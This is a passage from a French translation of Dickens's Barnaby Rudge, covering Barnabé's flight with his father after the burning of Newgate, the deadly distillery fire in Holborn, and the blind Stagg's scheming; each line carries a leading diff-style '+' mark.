+-- Quel gredin, monsieur! dit Joe. Un gredin qui ne vous veut
+guère de bien et qui a bien en lui l'étoffe de vingt gredins, ou
+plutôt de vingt diables. Ce n'est pas d'aujourd'hui que je le
+connais. S'il avait été une fois dans la maison, il vous aurait
+bien trouvé, lui, n'importe où. Les autres n'ont pas de rancune
+particulière contre vous, et, tant qu'ils ne vous verront pas, ils
+ne songeront qu'à boire à mort. Mais nous perdons là notre temps.
+Êtes-vous prêt?
+
+-- Oui, dit Édouard. Éteignez la torche, Joe, et en avant. Surtout
+du silence, et vous serez un bon garçon.
+
+-- Silence ou pas, murmura Joe en jetant la torche allumée par
+terre et en l'écrasant avec son pied, en même temps qu'il prenait
+M. Haredale par la main; c'est égal: c'était toujours une action
+brave et glorieuse... ça y est.»
+
+M. Haredale et le digne négociant étaient trop étonnés et trop
+pressés pour faire d'autres questions: ils suivirent donc leurs
+guides en silence. Seulement, d'après deux mots de chuchotement
+entre eux et le brave marchand sur le moyen le plus sûr de sortir
+de là, il apprit qu'ils étaient entrés par la porte de derrière,
+grâce à la connivence de John Grueby, qui faisait le guet dehors
+avec la clef dans sa poche et qu'ils avaient mis dans leur
+confidence. Comme il y avait justement une bande d'insurgés qui
+arrivaient de ce côté au moment où ils venaient d'entrer, John
+avait refermé la porte à double tour, et était allé chercher des
+soldats pour couper la retraite à ces malfaiteurs.
+
+Cependant, comme la porte de devant était enfoncée, et que cette
+petite troupe, impatiente de se ruer sur les liquides, n'avait pas
+envie de perdre son temps à en enfoncer une autre, elle avait fait
+le tour et était entrée par Holborn avec les autres, laissant tout
+à fait libre et déserte l'étroite ruelle sur laquelle donnait le
+derrière de la maison. Ainsi donc, quand M. Haredale et ses
+compagnons eurent rampé par le passage qu'avait indiqué le
+négociant (ce n'était qu'une espèce de trappe mobile pour passer
+les tonneaux), et qu'ils eurent réussi, avec quelque difficulté, à
+déchaîner et lever la porte du fond, ils débouchèrent dans la rue
+sans avoir été observés ni interrompus par personne. Joe, qui
+n'avait pas lâché M. Haredale, et Édouard, qui tenait bon aussi
+avec le négociant, se dépêchèrent de filer par les rues d'un pas
+rapide; se jetant seulement, par occasion, à l'écart, pour laisser
+passer quelques fugitifs, ou pour ne pas embarrasser la marche de
+quelques soldats qui arrivaient derrière eux au pas de course, et
+dont les questions, quand ils s'arrêtèrent pour leur en faire,
+furent tout de suite satisfaites par un mot de réponse que Joe
+leur glissa à l'oreille.
+
+
+
+
+CHAPITRE XXVI.
+
+
+Pendant que Newgate brûlait, la nuit précédente, Barnabé et son
+père, après avoir passé de main en main à travers la foule,
+s'arrêtèrent dans Smithfield, derrière la populace, à contempler
+les flammes comme des gens qui venaient de se réveiller en
+sursaut. Il s'écoula quelques moments avant qu'ils pussent
+reconnaître distinctement où ils étaient, et comment ils y étaient
+venus, oubliant, pendant qu'ils restaient là spectateurs inactifs
+et nonchalants de l'incendie, qu'ils avaient dans les mains des
+outils qu'on leur avait donnés pour se délivrer eux-mêmes de leurs
+fers.
+
+Barnabé, tout enchaîné qu'il était, n'aurait rien eu de plus
+pressé, s'il avait suivi son instinct, ou qu'il eût été seul, que
+de revenir se mettre aux côtés de Hugh, que son intelligence
+bornée lui représentait en ce moment comme brillant d'un nouveau
+lustre, depuis qu'il voyait en lui son libérateur et son plus
+fidèle ami. Mais la terreur que son père éprouvait à rester dans
+les rues se communiqua bientôt à son esprit, quand il eut compris
+toute l'étendue de ces craintes, et lui inspira le même
+empressement à chercher ailleurs leur salut.
+
+Dans un coin du marché, au milieu des stalles à bétail, Barnabé
+s'agenouilla, et se mit à briser les fers de son père, en
+s'arrêtant de temps en temps pour lui passer sur la figure une
+main caressante, ou pour le regarder avec un sourire. Lorsqu'il
+l'eut vu se dresser, libre, sur ses pieds, et qu'il se fut
+abandonné au transport de joie que lui causait cette vue, il se
+mit à l'ouvrage pour son propre compte, et bientôt ses chaînes
+tombant avec fracas laissèrent ses membres souples et dégagés.
+
+Quand cette tâche fut achevée, ils se glissèrent ensemble
+furtivement, passèrent devant des groupes de gens rassemblés
+autour de quelque misérable, accroupi devant eux, pour le cacher
+aux yeux des passants mais sans pouvoir empêcher qu'on entendit
+retentir le bruit des marteaux, qui annonçaient assez haut qu'ils
+étaient aussi occupés de la même besogne. Les deux fugitifs se
+dirigèrent du côté de Clerkenwell, puis de là gagnèrent Islington,
+comme la sortie de Londres la plus voisine, et se trouvèrent en un
+moment dans les champs. Après avoir erré longtemps, ils trouvèrent
+dans un pâturage, près de Finchley, un misérable hangar dont les
+murs étaient de pisé et le toit de broussailles et de bruyère;
+c'était un abri destiné aux bestiaux, mais il était désert pour
+l'instant. C'est là qu'ils se couchèrent pour y passer la nuit.
+Ils errèrent encore de tout côté, quand le jour fut venu, et
+Barnabé alla seul une fois vers un petit hameau à deux ou trois
+milles de là, pour y acheter du pain et du lait. Mais n'ayant pas
+trouvé de meilleur lieu de retraite, ils revinrent au même
+endroit, et s'y couchèrent encore en attendant la nuit.
+
+Il n'y a que Dieu qui puisse dire avec quelle vague idée de devoir
+et d'affection, avec quelle étrange inspiration de la nature,
+aussi claire pour lui que pour un homme qui aurait eu
+l'intelligence la plus radieuse et les facultés les plus
+développées; avec quelle obscure souvenance des enfants dont il
+partageait les jeux quand il était enfant lui-même, et qui lui
+parlaient toujours de leur père, de leur amour pour lui, de son
+amour pour eux; par quelles associations de souvenirs obscurs de
+la douleur, des larmes et du veuvage de sa mère, il soignait cet
+homme et veillait tendrement sur lui. Mais si vagues, si confuses
+que fussent ces idées qui étaient venues l'émouvoir par degrés,
+c'est à elles qu'il devait le chagrin qu'il montrait en regardant
+son visage égaré, les larmes qui inondaient ses yeux en se
+baissant pour l'embrasser, le soin avec lequel il l'éveillait tout
+content au milieu de ses pleurs, l'abritant du soleil, l'éventant
+avec des branchages, la calmant dans les sursauts de son
+sommeil... Ah! quel sommeil agité!... et se demandant si elle,
+elle ne voudrait pas bientôt les rejoindre, pour que leur bonheur
+fût complet. Il resta assis près de lui tout le jour, l'oreille au
+guet, pour écouter le pas de sa mère à chaque souffle de l'air,
+cherchant au loin son ombre sur les herbes mollement balancées par
+le vent, tressant les fleurs des haies pour qu'elle en eût le
+plaisir quand elle arriverait, et lui aussi quand il
+s'éveillerait; enfin se baissant de temps en temps pour écouter
+les murmures des rêves de son père, et pour s'étonner qu'il ne
+goûtât pas un meilleur repos dans un lieu si tranquille.
+
+Le soleil disparut, la nuit vint et le trouva aussi paisible, tout
+entier à ces pensées, comme s'il n'y avait qu'eux au monde, et que
+le lourd nuage de fumée qu'on voyait de loin suspendu sur
+l'immense cité ne recelât ni vices, ni crimes, ni vie, ni mort, ni
+aucun sujet d'inquiétude... comme si c'était seulement le vide de
+l'air.
+
+Mais l'heure était enfin venue où il fallait qu'il allât seul
+chercher l'aveugle (quel bonheur pour lui!) et le ramener là, en
+prenant grand soin qu'on ne l'épiât et qu'on ne le suivît en
+chemin. Il écouta bien les instructions qu'il devait observer, les
+répéta souvent pour être sûr de les retenir, et, après être revenu
+deux ou trois fois sur ses pas pour faire une surprise à son père,
+en riant à coeur joie, il finit par partir sérieusement pour
+accomplir sa commission, en lui recommandant d'avoir soin de Grip,
+qu'il n'avait pas oublié d'emporter de la prison dans ses bras.
+
+Agile et impatient de revenir, il ne fut pas long à gagner la
+ville; cependant, quand il arriva, les incendies étaient déjà
+allumés et insultaient aux ténèbres de la nuit avec leur éclat
+affreux. À son entrée dans la ville, peut-être ce changement
+venait-il de ce qu'il n'avait plus là près de lui ses anciens
+compagnons, et qu'il n'était point chargé d'une commission
+violente; peut-être aussi cela venait-il de la beauté de la
+solitude, où il avait passé la journée, ou des pensées qui
+l'avaient occupé, mais enfin Londres lui parut peuplé d'une légion
+de démons. Cette fuite et cette poursuite, cette dévastation
+cruelle par le fer et la flamme, ces cris effrayants, ce tapage
+étourdissant, il se demandait si c'était bien là la noble cause du
+bon lord.
+
+Malgré la stupeur où le plongeait cette scène sauvage, il trouva
+pourtant le logis de l'aveugle. Tout était fermé: il n'y avait
+personne. Il attendit longtemps, mais en vain. Il finit par s'en
+aller, et, comme il apprit justement en ce moment-là que les
+soldats venaient de tirer, et qu'il devait y avoir beaucoup de
+morts, il se dirigea vers Holborn, où on lui avait dit qu'était le
+grand rassemblement; il voulait essayer d'y rencontrer Hugh, pour
+lui persuader d'éviter le danger et de revenir avec lui.
+
+S'il avait été abasourdi et dégoûté du tumulte tout à l'heure, son
+horreur ne fit que redoubler en pénétrant dans ce tourbillon de
+l'émeute, et lorsqu'il en eut sous les yeux ce terrible spectacle,
+sans y prendre part. Mais enfin, là, au beau milieu, dominant le
+reste des insurgés, tout près de la maison qu'on attaquait alors,
+Hugh était à cheval, appelant, animant tous les autres.
+
+Le tumulte qui l'entourait, la chaleur étouffante, les cris, les
+craquements, tout cela lui faisait mal au coeur; cependant il
+pénétra de force au travers de la foule, reconnu de bien des gens
+qui se reculaient eu poussant des bravos pour le laisser passer,
+et il arrivait justement auprès de Hugh, au moment où il proférait
+des menaces sauvages contre quelqu'un; mais contre qui et
+pourquoi, l'extrême confusion de cette scène ne permettait pas à
+Barnabé de le savoir. Au même instant, la foule se précipita dans
+la maison dont elle avait brisé la porte, et Hugh... il fut
+impossible de savoir comment... tomba à terre tout de son long.
+
+Barnabé était à côté de lui, quand il se remit sur ses pieds,
+encore tout chancelant; heureusement pour lui qu'il fit entendre
+sa voix, car Hugh levait sa hache pour lui fendre le crâne en
+deux.
+
+«Barnabé!... vous! Quelle était donc la main qui m'a jeté par
+terre?
+
+-- Ce n'est toujours pas la mienne.
+
+-- Qui donc est-ce?,... je vous demande qui c'est? cria-t-il en
+vacillant et en regardant autour de lui d'un air farouche. Voyons!
+dépêchons-nous! où est-il? qu'on me le montre.
+
+-- Vous avez du mal,» lui dit Barnabé; et, en effet, il était
+blessé à la tête, d'abord du coup qu'il avait reçu, et puis d'une
+ruade de son cheval. «Venez-vous-en avec moi.»
+
+En même temps il prit en main la bride, tourna le cheval, et
+entraîna Hugh à quelques pas de là. Cela suffit pour les dégager
+de la foule qui se précipitait de la rue dans les caves du
+négociant en vins.
+
+«Où donc?... où donc est Dennis? dit Hugh s'arrêtant tout court et
+saisissant Barnabé de son bras vigoureux. Où est-il resté tout le
+jour? Qu'est-ce qu'il voulait dire en me laissant là, hier au
+soir, dans la prison? Dites-moi ça... le savez-vous?»
+
+En faisant tourner son arme dangereuse, il tomba par terre, étendu
+comme un chien. Une minute après, quoique exalté déjà jusqu'à la
+frénésie par la boisson et par sa blessure à la tête, il rampa
+jusqu'à un courant d'eau-de-vie enflammée qui coulait dans le
+ruisseau, et se mit à en boire comme de l'eau.
+
+Barnabé le tira de là et le força à se relever. Quoiqu'il ne fût
+capable ni de marcher ni de se tenir debout, il se dirigea
+involontairement en trébuchant jusqu'à son cheval, grimpa sur son
+dos et s'y tint attaché. Après de vains efforts pour dépouiller
+l'animal de ses harnais sonores, Barnabé sauta en croupe derrière
+Hugh, attrapa la bride, tourna dans Leather-Lane, qui était tout
+près de là, et mit à un bon trot le coursier effrayé.
+
+Cependant, avant de sortir de la rue, il regarda derrière lui: il
+regarda un spectacle tel qu'il ne devait plus s'effacer jamais,
+même de sa pauvre mémoire, dût-il vivre cent ans. La maison du
+négociant en vins, avec une demi-douzaine de maisons voisines,
+n'était plus qu'une grande et brûlante fournaise. Toute la nuit,
+personne n'avait essayé d'éteindre les flammes ou d'en arrêter le
+progrès; mais, pour le moment, un détachement de soldats étaient
+sérieusement occupés à abattre deux maisons en bois qui étaient à
+chaque instant en danger de prendre feu, et qui ne pouvaient
+manquer, si on les laissait s'enflammer, d'étendre au loin
+l'incendie. La chute bruyante des murs vacillants et des énormes
+pièces de charpente; les huées et les vociférations de la foule
+furieuse, la fusillade lointaine d'autres détachements militaires;
+les regards éplorés et les cris de détresse de ceux dont les
+habitations étaient en péril; la course errante des gens effrayés
+qui emportaient leurs effets; la réflexion, sur chaque partie du
+ciel, des flammes d'un rouge de sang qui s'élançaient dans l'air,
+comme si le dernier jour était enfin venu et que tout l'univers
+fût en feu; la poussière, la fumée, les tourbillons de flammèches
+qui venaient roussir et allumer tous les objets sur lesquels elles
+tombaient; les bouffées de chaleur malsaine qui venaient tout
+infecter; les étoiles, la lune, le ciel même, éclipsés: tout cela
+présentait un tel spectacle de ruine et de terreur, qu'on eût dit
+que le firmament était effacé du coup, et que la nuit, avec son
+repos tranquille et sa lumière douce, ne reviendrait plus jamais
+visiter la terre.
+
+Mais voici un spectacle bien pire encore; pire cent fois que le
+feu et la fumée, et même que la rage insensée, impitoyable de la
+canaille! Les gouttières de la rue, et chaque crevasse, chaque
+fissure dans les pierres de la muraille, versaient les spiritueux
+enflammés, qui, bientôt endigués par des mains actives,
+débordaient sur le trottoir et la chaussée et formaient une grande
+mare où les gens tombaient morts par douzaines. Ils étaient
+couchés par tas autour de ce lac effroyable, maris et femmes,
+pères et fils, mères et filles, des femmes avec des enfants dans
+leurs bras ou contre leur mamelle, et là ils buvaient jusqu'à la
+mort. Pendant que les uns étaient penchés, pressant leurs lèvres
+sur le bord pour ne jamais relever la tête, d'autres, d'un bond,
+s'arrachaient à cette boisson de feu, et se mettaient à danser,
+moitié dans les transports d'un triomphe insensé, moitié dans
+l'agonie d'une suffocation dévorante, jusqu'à ce qu'enfin ils
+tombaient là, plongeant leurs cadavres dans la liqueur qui les
+avait tués. Eh bien! cela même, ce n'était pas encore la mort la
+plus cruelle et la plus effrayante qu'on eût à déplorer cette
+nuit-là. Du fond des celliers enflammés où ils avaient bu dans
+leurs chapeaux, dans des seaux, dans des baquets, des cuviers, des
+souliers, on tira quelques hommes encore vivants, mais qui
+n'étaient qu'une flamme, des pieds à la tête. Dans l'angoisse de
+leurs souffrances insupportables, avides de tout ce qui
+ressemblait à de l'eau, ils roulaient leurs corps sifflants dans
+cet étang hideux, et lançaient à droite et à gauche des
+éclaboussures du feu liquide qui lapait tout ce qu'il rencontrait
+dans sa course, n'épargnant pas plus les vivants que les morts.
+Dans cette dernière nuit des grands troubles, car ce fut la
+dernière, les malheureuses victimes d'une révolte absurde
+devinrent elles-mêmes la cendre et la poussière des flammes
+qu'elles avaient allumées, et jonchèrent de leurs débris
+méconnaissables les rues et les places de Londres.
+
+L'âme profondément empreinte de ce souvenir ineffaçable qu'un seul
+coup d'oeil avait suffi pour lui révéler dans sa fuite, Barnabé
+sortit en courant de la ville qui recelait de telles horreurs; et
+baissant la tête pour ne pas même voir la lueur des feux souiller
+le tranquille paysage qui s'étendait sous ses yeux, il fut bientôt
+sur la route des champs paisibles.
+
+Il s'arrêta environ à un demi-mille du hangar où était couché son
+père, et faisant comprendre avec quelque difficulté à Hugh qu'il
+fallait descendre là, il jeta le harnais du cheval au fond d'une
+mare d'eau stagnante, et abandonna l'animal à lui-même. Après cela
+il soutint son compagnon du mieux qu'il put, et l'emmena tout
+doucement du côté de leur asile.
+
+
+
+
+CHAPITRE XXVII.
+
+
+On était au coeur de la nuit, et d'une nuit très noire quand
+Barnabé, avec son trébuchant ami, s'approcha de l'endroit où il
+avait laissé son père; cependant il put le voir se dérobant dans
+les ténèbres, car il ne se fiait pas même à son fils, et se
+retirant d'un pas rapide. Après lui avoir crié deux ou trois fois,
+mais sans succès, qu'il pouvait revenir, qu'il n'y avait rien à
+craindre, il laissa tomber Hugh sur le sol et se mit à la
+recherche de son père pour le ramener.
+
+L'autre continua de se glisser furtivement dans l'ombre, jusqu'à
+ce que Barnabé l'eût rattrapé. Alors il se retourna, et lui dit
+d'une voix terrible, quoique étouffée:
+
+«Laisse-moi aller. Ne me touche pas. Tu l'as dit à ta mère, et
+vous vous êtes entendus pour me trahir.»
+
+Barnabé le regarda en silence.
+
+«Tu as vu ta mère?
+
+-- Non, cria Barnabé avec ardeur. Oh! non, il y a bien
+longtemps... plus longtemps que je ne puis dire. Il doit bien y
+avoir un an. Est-ce qu'elle est ici?»
+
+Son père le regarda fixement quelques instants, puis il lui dit en
+se rapprochant de lui, car, rien qu'à voir sa figure et à
+l'entendre parler, il était impossible de douter de sa sincérité:
+
+«Qu'est-ce que c'est que cet homme-là?
+
+-- Hugh... c'est Hugh. Pas davantage, vous savez bien. Ce n'est
+pas celui-là qui vous fera du mal. Comment! vous aviez peur de
+Hugh! ha! ha! ha! peur de ce bon gros vieux farceur de Hugh!
+
+-- Je vous demande qui il est, reprit l'autre d'un ton si farouche
+que Barnabé s'arrêta au beau milieu de ses éclats de rire, et
+recula quelques pas, le regardant d'un air de stupéfaction et de
+terreur.
+
+-- Dieu! êtes-vous sévère! vous me faites trembler, comme si vous
+n'étiez pas mon père. Pourquoi donc me parlez-vous comme cela?
+
+-- Je veux, répondit-il en repoussant la main que son fils, d'un
+air timide, posait, pour l'apaiser, sur sa manche, je veux une
+réponse, et au lieu de cela vous me répliquez par les
+plaisanteries et des questions. Quel est l'homme que vous venez
+d'amener dans notre cachette, pauvre imbécile? et où est
+l'aveugle?
+
+-- Je ne sais pas où il est. Sa maison était fermée. J'ai attendu,
+sans voir personne venir: ce n'est pas ma faute. Quant à celui-ci,
+c'est Hugh... le brave Hugh, qui a enfoncé cette odieuse prison
+pour nous délivrer. Ah! dites à présent que vous ne l'aimez pas,
+hein? n'est-ce pas que vous l'aimez?
+
+-- Pourquoi est-il couché par terre?
+
+-- Il a fait une chute, et puis il a trop bu. Les champs, les
+arbres, tout ça tourne, tourne, tourne autour de lui, et la terre
+lui manque sous les pieds. Vous le connaissez bien! vous vous le
+rappelez! Tenez! regardez-le.»
+
+En effet ils étaient revenus à l'endroit où il était couché, et
+ils se baissèrent sur lui tous les deux pour voir sa figure.
+
+«Bien! je me le rappelle, murmura le père. Pourquoi l'avez-vous
+amené ici?
+
+-- Parce qu'il aurait été tué, si je l'avais laissé là-bas. Si
+vous aviez vu comme on tirait des coups de fusil et comme le sang
+coulait! La vue du sang ne vous fait-elle pas trouver mal, mon
+père? Je vois bien que si, à votre figure. C'est comme moi...
+qu'est-ce que vous regardez donc?
+
+-- Rien, dit l'assassin doucement, après avoir reculé un pas ou
+deux pour regarder avec les lèvres serrées et l'oeil fixe par-
+dessus la tête de son fils. Rien.»
+
+Il resta dans la même attitude et avec la même expression dans ses
+traits pendant quelques minutes; puis il promena lentement son
+regard autour du lui, comme s'il avait perdu quelque chose, et
+revint en frissonnant vers le hangar.
+
+«Voulez-vous que je l'emporte là-dedans, père?» demanda Barnabé
+qui était resté, pendant ce temps-là, à regarder aussi, sans
+savoir ce que cela voulait dire.
+
+Il ne répondit que par un gémissement étouffé, en se couchant par
+terre enveloppé de son manteau jusque par-dessus la tête, et se
+retira dans le coin le plus obscur.
+
+Voyant qu'il n'y avait pas moyen, pour le moment, d'éveiller Hugh
+ou de lui faire reprendre ses sens, Barnabé le traîna sur l'herbe
+et le coucha sur un petit tas de foin et de paille de rebut, dont
+il avait déjà lui-même fait son lit, après avoir commencé par
+apporter un peu d'eau d'un ruisseau voisin, pour laver sa blessure
+et lui nettoyer les mains et la figure. Ensuite il se coucha lui-
+même, entre eux deux, pour y passer la nuit, et, la face tournée
+vers les étoiles, il tomba dans un profond sommeil.
+
+Réveillé de bonne heure, le lendemain matin, par l'éclat du
+soleil, le chant des oiseaux et le bourdonnement des insectes, il
+laissa dormir les autres dans la hutte, pour aller se promener un
+peu et respirer cet air doux et frais. Mais il sentit que ses sens
+harassés, accablés, alourdis par les terribles scènes de la veille
+et des autres soirées précédentes, se refusaient à jouir des
+beautés du jour naissant, dont il avait si souvent goûté la
+douceur avec un plaisir infini. Il pensa à ces matinées heureuses
+où il allait avec ses chiens, bondissant comme lui, au travers des
+plaines et des bois, et ce souvenir lui remplit les yeux de
+larmes. Il ne se reprochait pas, Dieu le bénisse! d'avoir fait le
+moindre mal, et il n'avait pas changé de sentiment sur la justice
+de la cause où il s'était engagé, ou des hommes qui la
+défendaient: mais il était, en ce moment, plein de soucis, de
+regrets, de souvenirs effrayants; il souhaitait, pour la première
+fois, que tel ou tel événement ne fut jamais arrivé, et qu'on eût
+épargné à bien des gens tant de chagrins et de souffrances. Il
+commença aussi à songer combien ils seraient heureux, son père, sa
+mère, Hugh et lui, s'ils s'en allaient ensemble demeurer dans
+quelque endroit solitaire, où il n'y eût aucun de ces troubles à
+craindre; peut-être l'aveugle, qui parlait de l'or en connaisseur,
+et qui lui avait confié qu'il avait de grands secrets pour en
+gagner, pourrait-il leur apprendre à vivre sans ressentir
+l'aiguillon de la faim et du besoin. À ce propos, il regretta
+encore davantage de ne pas l'avoir vu la nuit dernière, et il
+méditait encore là-dessus, quand son père vint lui toucher
+l'épaule.
+
+«Ah! cria Barnabé, tressaillant au sortir de sa rêverie. Ce n'est
+que vous!
+
+-- Qui donc vouliez-vous que ce fût?
+
+-- Je croyais presque que c'était l'aveugle. Il faut, père, que
+j'aie avec lui un bout de conversation.
+
+-- Et moi aussi: car, si je ne le vois pas, je ne sais plus où
+fuir ni que faire, et j'aimerais mieux la mort que de perdre mon
+temps ici. Il faut que vous alliez tout de suite le voir et que
+vous me l'ameniez ici.
+
+-- Vraiment? s'écria Barnabé charmé. À la bonne heure, mon père.
+C'est tout ce que je demandais.
+
+-- Mais c'est lui qu'il faut me ramener, et pas d'autre. Surtout,
+quand vous devriez l'attendre à sa porte pendant vingt-quatre
+heures, attendez toujours, et ne revenez pas sans lui.
+
+-- N'ayez pas peur, cria-t-il gaiement. Je vous l'amènerai, je
+vous l'amènerai.
+
+-- Mettez bas ces babioles, dit le père en lui arrachant les bouts
+de ruban et les plumes qu'il portait à son chapeau, et jetez mon
+manteau par-dessus vos habits. Faites bien attention à votre
+démarche; du reste, on est trop occupé d'autre chose dans les rues
+pour qu'on vous remarque. Quant à votre retour, ne vous en
+inquiétez pas; il saura bien y pourvoir en toute sûreté.
+
+-- Je crois bien! dit Barnabé, certainement qu'il y pourvoira.
+C'est ça un habile homme, n'est-ce pas, mon père, et bien capable
+de nous apprendre le moyen de devenir riches? Oh! je le connais
+bien, je le connais bien.»
+
+Il fut bientôt habillé, et aussi bien déguisé que possible. Cette
+fois il avait le coeur plus léger en entreprenant ce second
+voyage, et en laissant Hugh, encore abruti par l'ivresse, étendu
+par terre sous le hangar, avec son père qui se promenait devant,
+de long en large.
+
+L'assassin, en proie aux plus tristes pensées, le regarda partir,
+et se remit à marcher comme tout à l'heure, troublé par le moindre
+murmure de l'air dans les branches, et par l'ombre la plus légère
+que les nuages en passant jetaient sur les prés émaillés de
+marguerites. Il était impatient de voir son fils revenu sain et
+sauf, et cependant, quoique sa vie et sa sûreté en dépendissent,
+il n'était pas fâché de le voir parti. Le profond sentiment
+d'égoïsme que lui inspiraient ses crimes, toujours présents à ses
+yeux avec leurs conséquences actuelles ou futures, absorbait et
+faisait entièrement disparaître toute pensée de Barnabé, comme
+étant son fils. Bien plus, la présence de ce malheureux était pour
+lui un reproche pénible et cruel; il retrouvait dans ses yeux
+égarés les terribles images de cette nuit criminelle. Son visage
+de l'autre monde, son esprit informe, représentaient à l'assassin
+une créature qui avait pris naissance dans le sang de sa victime.
+Il ne pouvait supporter son regard, sa voix, son toucher. Et
+pourtant il se voyait forcé, par sa condition désespérée et son
+unique chance d'échapper au gibet, de l'avoir à ses côtés et de
+reconnaître qu'il ne pouvait sans lui songer à se soustraire à la
+mort.
+
+Il se promena donc de long en large, sans repos, tout le jour,
+roulant ces pensées dans son esprit, et Hugh était encore étendu,
+sans le savoir, sous le hangar. À la fin, au moment où le soleil
+allait se coucher, Barnabé revint, amenant l'aveugle et causant
+avec lui d'un air animé tout le long du chemin.
+
+L'assassin s'avança à leur rencontre, et ordonnant à son fils
+d'aller parler à Hugh qui venait de se dresser sur ses pieds, il
+le remplaça près de l'aveugle, et le suivit à pas lents du côté du
+hangar.
+
+«Pourquoi l'avoir envoyé, _lui_? dit Stagg. Ne saviez-vous pas que
+c'était le moyen de le perdre, sitôt qu'on l'aurait reconnu?
+
+-- Ne vouliez-vous pas que j'y allasse moi-même? répliqua l'autre.
+
+-- Hem! peut-être que non. J'étais devant la prison mardi soir;
+mais, dans la foule, je vous ai manqué. On a fait hier soir de
+fameuse besogne... oh! mais de la jolie besogne!... une besogne
+profitable, ajouta-t-il en faisant sonner l'argent dans son
+gousset.
+
+-- Avez-vous...
+
+-- Vu votre bonne dame?... Certainement.
+
+-- Eh bien! n'avez-vous rien à me dire de plus?
+
+-- Oh! je vais vous dire tout, reprit l'aveugle en éclatant de
+rire. Pardon, mais j'aime à vous voir si impatient: c'est signe
+d'énergie.
+
+-- Consent-elle à dire le mot qui peut me sauver?
+
+-- Non, répondit l'aveugle d'un ton décidé, en tournant vers lui
+son visage. Non; voici ce que c'est: elle a été à deux doigts de
+la mort, depuis qu'elle a perdu son cher fils... elle est restée
+privée de sentiment, enfin, je ne sais pas quoi. Je l'ai été
+chercher dans un hôpital, et me suis présenté (sauf votre
+permission) au chevet de son lit. Notre conversation n'a pas été
+longue; elle était trop faible, et puis il y avait là tant de
+monde auprès de nous, que je n'étais pas à mon aise. Mais je lui
+ai dit tout ce dont j'étais convenu avec vous; je lui ai fait
+toucher au doigt, et dans les termes les plus forts, la situation
+du jeune gentleman. Elle a voulu m'attendrir; mais, comme je lui
+ai dit, c'était peine perdue. Alors elle s'est mise à pleurer et à
+gémir, bien entendu: c'est toujours comme ça avec les femmes Puis,
+ne voilà-t-il pas que tout d'un coup elle a retrouvé sa force et
+sa voix pour me dire qu'elle se mettait, elle et son fils, sous la
+garde de Dieu; que c'était à lui qu'elle en voulait appeler contre
+nous... et elle le fit, ma foi! dans un langage tout à fait
+gentil, je vous assure. Je lui conseillai, en ami, de ne pas trop
+compter sur une assistance aussi éloignée; je lui recommandai d'y
+songer à deux fois; je lui laissai mon adresse, en lui disant que
+j'étais sûr qu'elle enverrait chez moi le lendemain avant midi, et
+je la quittai pâmée ou faisant semblant de l'être.»
+
+Après ce beau récit, qu'il interrompit de temps à autre pour
+casser et croquer à son aise quelques noix, dont il paraissait
+avoir sa poche pleine, l'aveugle tira d'une autre poche un flacon
+dont il commença par boire une gorgée, et qu'il offrit ensuite à
+son compagnon.
+
+«Vous n'en voulez pas, n'est-ce pas? dit-il en sentant que l'autre
+repoussait le flacon. Comme il vous plaira. Le brave gentleman qui
+loge là à côté de vous ne me refusera peut-être pas, lui. Eh,
+sacripant!
+
+-- Au nom du diable! dit l'assassin en le retenant par la basque;
+ne me direz-vous pas ce qu'il faut que je fasse?
+
+-- Ce que vous fassiez! Il n'y a rien de plus aisé: une petite
+course de deux heures, pas plus, au clair de la lune, avec le
+jeune gentleman, qui ne demande pas mieux; je l'ai catéchisé en
+chemin, et éloignez-vous de Londres tant que vous pourrez. Vous me
+ferez savoir où vous êtes, et je me charge du reste. Il faudra
+bien qu'elle revienne: elle ne peut pas résister longtemps; et en
+attendant, quant aux chances de vous voir rattraper, songez que ce
+n'est pas un prisonnier seulement qui s'est échappé de Newgate, il
+y en a trois cents. Cela ne doit-il pas vous rassurer?
+
+-- Mais enfin, il faut que nous vivions. Comment cela?
+
+-- Comment! répliqua l'aveugle; en buvant et en mangeant. Et
+comment boire et manger? Il faut payer. C'est donc de l'argent
+qu'il faut, cria-t-il en tapant sur son gousset; c'est de l'argent
+que vous voulez dire, n'est-ce pas? Bah! les rues en étaient
+pavées. Ce serait diablement dommage que ça fût déjà fini, car
+c'est un bien joli moment: un moment d'or, comme on n'en voit
+guère, pour pêcher en eau trouble dans tout ce remue-ménage. Eh!
+holà! Veux-tu boire, sacripant? Voyons, bois. Où est-tu donc? eh!»
+
+En proférant ces vociférations d'un ton tapageur qui montrait sa
+parfaite confiance dans le désordre général et, la licence des
+temps, il alla à tâtons vers le hangar, où Hugh et Barnabé étaient
+assis par terre.
+
+«Prends-moi ça, cria-t-il en passant à Hugh son flacon. Il ne
+coule plus maintenant que du vin et de l'or dans les ruisseaux de
+Londres. Les pompes mêmes ne versent plus que de l'eau-de-vie et
+des guinées. Prends-moi ça, et ne l'épargne pas.»
+
+Épuisé, sale, la barbe longue, barbouillé de fumée et de suie, les
+cheveux emmêlés par le sang, la voix presque éteinte, et ne
+parlant que par chuchotements; la peau desséchée par la fièvre,
+tout le corps en capilotade, couvert de plaies et de
+meurtrissures, Hugh eut pourtant encore la force de prendre le
+flacon et de le porter à ses lèvres. Il était en train de boire,
+quand le devant du hangar fut tout à coup obscurci par une ombre:
+c'était Dennis qui venait là se planter devant eux.
+
+«Je ne vous dérange pas? dit ce personnage d'un ton railleur, au
+moment où Hugh cessait de boire, pour le toiser d'un air peu
+agréable des pieds à la tête. Je ne vous dérange pas, camarade?
+Tiens, Barnabé ici avec vous? Comment ça va-t-il, Barnabé? Et ces
+deux autres messieurs aussi? votre serviteur très humble,
+messieurs. Je ne vous dérange pas non plus, j'espère? n'est-ce
+pas, camarades?»
+
+Malgré le ton amical et l'air confiant dont il leur tenait ce
+langage, on voyait qu'il éprouvait quelque hésitation à entrer, et
+qu'il restait volontiers dehors, il était un peu mieux mis que de
+coutume: c'était toujours le même habillement noir usé jusqu'à la
+corde; mais il avait autour du col une cravate d'assez mauvaise
+mine, d'un blanc jaune, et à ses mains des gants de peau, comme
+les jardiniers en portent dans l'exercice de leur état. Ses
+souliers étaient tout frais graissés, et décorés d'une paire de
+boucles d'acier rouillé; les rosettes des genoux de sa culotte
+courte avaient été renouvelées, et, à défaut de boutons, il avait
+ses vêtements attachés avec des épingles. En somme, il avait l'air
+d'un recors ou d'un aide de garde du commerce, terriblement fané,
+mais encore jaloux de conserver les apparences de son rôle
+officiel, et faisant bonne mine à mauvais jeu.
+
+«Vous êtes joliment bien ici, dit M. Dennis, tirant de sa poche un
+mouchoir moisi qui ressemblait plutôt à un licou en décomposition,
+et s'en frottant le front de toutes ses forces.
+
